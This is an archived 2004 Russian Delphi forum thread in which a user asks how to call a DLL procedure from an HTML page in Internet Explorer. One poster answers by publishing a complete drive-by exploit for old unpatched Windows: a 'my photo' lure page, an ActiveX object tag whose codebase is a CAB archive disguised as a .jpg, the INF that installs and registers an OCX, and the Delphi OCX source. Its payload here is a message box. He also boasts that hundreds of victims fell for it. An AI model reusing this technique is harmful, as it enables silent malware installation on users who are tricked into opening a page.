Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Основная";
Текущий архив: 2004.11.07;
Скачать: [xml.tar.bz2];

Вниз

Использование dll в html-файле   Найти похожие ветки 

 
S-Lok   (2004-10-24 23:03) [0]

Мне вот надо использовать в html-файле некоторую процедуру из моей Delphi-программы (причем html-файл должен открываться Internet Explorer"ом). Знаю, как это можно реализовать при помощи компонента ActiveX. Но вроде бы, эту же процедуру можно объявить в dll-файле. Как мне тогда обратиться к этой dll и к этой процедуре из html-файла?


 
Gero ©   (2004-10-24 23:05) [1]

Мда, если бы html - страницы умели dll"ки грузить и функции из них вызывать - вот весело было бы...


 
kaZaNoVa ©   (2004-10-24 23:05) [2]

если ты из html откроешь dll, то тебе позавидуют все виросописатели мира !

//я раньше делал так с OCX - но после 2 SP в ХР и в 2003 винде не пашет ..


 
kaZaNoVa ©   (2004-10-24 23:06) [3]

Gero ©   (24.10.04 23:05) [1]
а ведь можно !  - раньше было .. ;)


 
Gero ©   (2004-10-24 23:07) [4]


> а ведь можно !  - раньше было

Да ну.
Ссылка имеется?


 
kaZaNoVa ©   (2004-10-24 23:07) [5]

<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
вот ;)))))))))))))))))0


 
kaZaNoVa ©   (2004-10-24 23:08) [6]

Gero ©   (24.10.04 23:07) [4]
эх   ссылка была .. и не один человек попался ..  (не одна сотня ..)
- знакомый один делал ..


 
Gero ©   (2004-10-24 23:09) [7]


> kaZaNoVa ©   (24.10.04 23:08)
> object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6"

Это не dll.


 
kaZaNoVa ©   (2004-10-24 23:10) [8]

Gero ©   (24.10.04 23:09) [7]
там был cab архив с длл .. :)
- не веришь ?
- весь эксплоит выложить ?


 
kaZaNoVa ©   (2004-10-24 23:11) [9]

а расширение jpg - тока для маскировки ...  ;)


 
Gero ©   (2004-10-24 23:12) [10]


> kaZaNoVa ©   (24.10.04 23:10)


> там был

Где был?

> не веришь ?

Нет.

> весь эксплоит выложить ?

Как хочешь.


 
kaZaNoVa ©   (2004-10-24 23:17) [11]

ну, это уже не актуально .. так что выкладываю - пашет тока в 98, 2000, XP без 2 SP
html код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Моя фотка</title>
</head>
<body>
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
Ну, как те моя фотка ?<br> - щас должна уже загрузиться ...<br>
- если не видно, проверьте настройки браузера ..
<br><br><br>
P.S. для просмотра требуется браузер INTERNET Explorer !
</body>
</html>


создаётся файл fotoarxiv.jpg - это CAB архив, внутри его 2 файла:
axhole.inf
axhole.ocx

содержание axhole.inf
[Version]
Signature="$Chicago$"
AdvancedINF=2.5

[DefaultInstall]
CopyFiles=FileList
RegisterOCXs=OCXSection

[DefaultUninstall]
Delfiles=FileList
UnRegisterOCXs=OCXSection

[OCXSection]
%11%\axhole.ocx

[FileList]
AXHOLE.OCX,,,33

[DestinationDirs]
FileList=11


исходник axhole.ocx
library Project1;
{$I-}

uses
 Windows,Shellapi;
Procedure DllGetClassObject;
Begin end;
Procedure DllRegisterServer;
 Begin end;
Procedure DllUnregisterServer;
 Begin end;
Procedure DllCanUnloadNow;
 Begin end;

exports
DllGetClassObject,
 DllRegisterServer,
DllUnregisterServer,
DllCanUnloadNow;

begin
MessageBox(0,"Если видна эта мессага-код из дллки работает","Are you Ready ?",0);
end.



 
kaZaNoVa ©   (2004-10-24 23:19) [12]

это раньше РЕАЛЬНО работало при открытии в ИЕ со стандартными настройками ..


 
kaZaNoVa ©   (2004-10-24 23:20) [13]

ps не веришь - проверь :))
то нужны права админа (кажется) и включено "загружать неподписанные ActiveX"


 
S-Lok   (2004-10-25 15:37) [14]

Тогда скажите, теоретически возможно ли каким-то еще способом, кроме ActiveX, выполнять на html-странице функции из Delphi?


 
panov ©   (2004-10-25 16:41) [15]

>S-Lok   (25.10.04 15:37) [14]
Использовать написанный в Delphi свой CGI на стороне сервера.


 
kaZaNoVa ©   (2004-10-25 18:28) [16]

panov ©   (25.10.04 16:41) [15]
точно, и эксплойты не потребуются ;)))



Страницы: 1 вся ветка

Форум: "Основная";
Текущий архив: 2004.11.07;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.48 MB
Время: 0.044 c
1-1098717522
atmospheric
2004-10-25 19:18
2004.11.07
WM_CHAR в XP и 2000 ?


14-1090676641
Огромное Кулясищще
2004-07-24 17:44
2004.11.07
Калькулятор


9-1089190934
BladeMaster
2004-07-07 13:02
2004.11.07
BitBlt и прозрачность


4-1096475029
gor_beliy
2004-09-29 20:23
2004.11.07
security


3-1097339186
Cobalt
2004-10-09 20:26
2004.11.07
Различие всяких технологий





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский